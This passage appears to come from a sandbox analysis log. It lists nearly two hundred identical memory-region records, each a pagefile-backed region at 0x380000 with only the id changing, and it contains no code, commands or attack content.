0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4670 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4671 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4672 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4673 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4674 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4675 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4676 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4677 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4678 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4679 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4680 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4681 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4682 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4683 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4684 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4685 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4686 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4687 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4688 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4689 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4690 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4691 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4692 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4693 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4694 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4695 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4696 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4697 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4698 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4699 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4700 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4701 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4702 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4703 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4704 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4705 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4706 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4707 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4708 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4709 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4710 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4711 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4712 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4713 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4714 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4715 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4716 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4717 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4718 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4719 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4720 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4721 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4722 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4723 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4724 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4725 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4726 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4727 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4728 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4729 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4730 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4731 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4732 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4733 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4734 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4735 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4736 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4737 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4738 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4739 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4740 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4741 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4742 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4743 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4744 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4745 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4746 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4747 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4748 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4749 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4750 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4751 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4752 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4753 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4754 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4755 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4756 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4757 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4758 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4759 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4760 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4761 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4762 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4763 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4764 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4765 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4766 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4767 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4768 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4769 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4770 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4771 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4772 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4773 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4774 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4775 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4776 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4777 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4778 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4779 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4780 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4781 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4782 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4783 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4784 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4785 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4786 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4787 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4788 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4789 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4790 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4791 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4792 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4793 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4794 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4795 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4796 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4797 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4798 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4799 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4800 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4801 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4802 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4803 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4804 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4805 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4806 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4807 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4808 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4809 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4810 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4811 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4812 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4813 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4814 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4815 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4816 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4817 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4818 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4819 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4820 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4821 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4822 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4823 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4824 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4825 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4826 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4827 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4828 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4829 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4830 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4831 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4832 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4833 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4834 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4835 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4836 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4837 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4838 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4839 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4840 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4841 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4842 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4843 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4844 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4845 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4846 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4847 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4848 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4849 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4850 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4851 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4852 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4853 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4854 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4855 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4856 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4857 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4858 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: 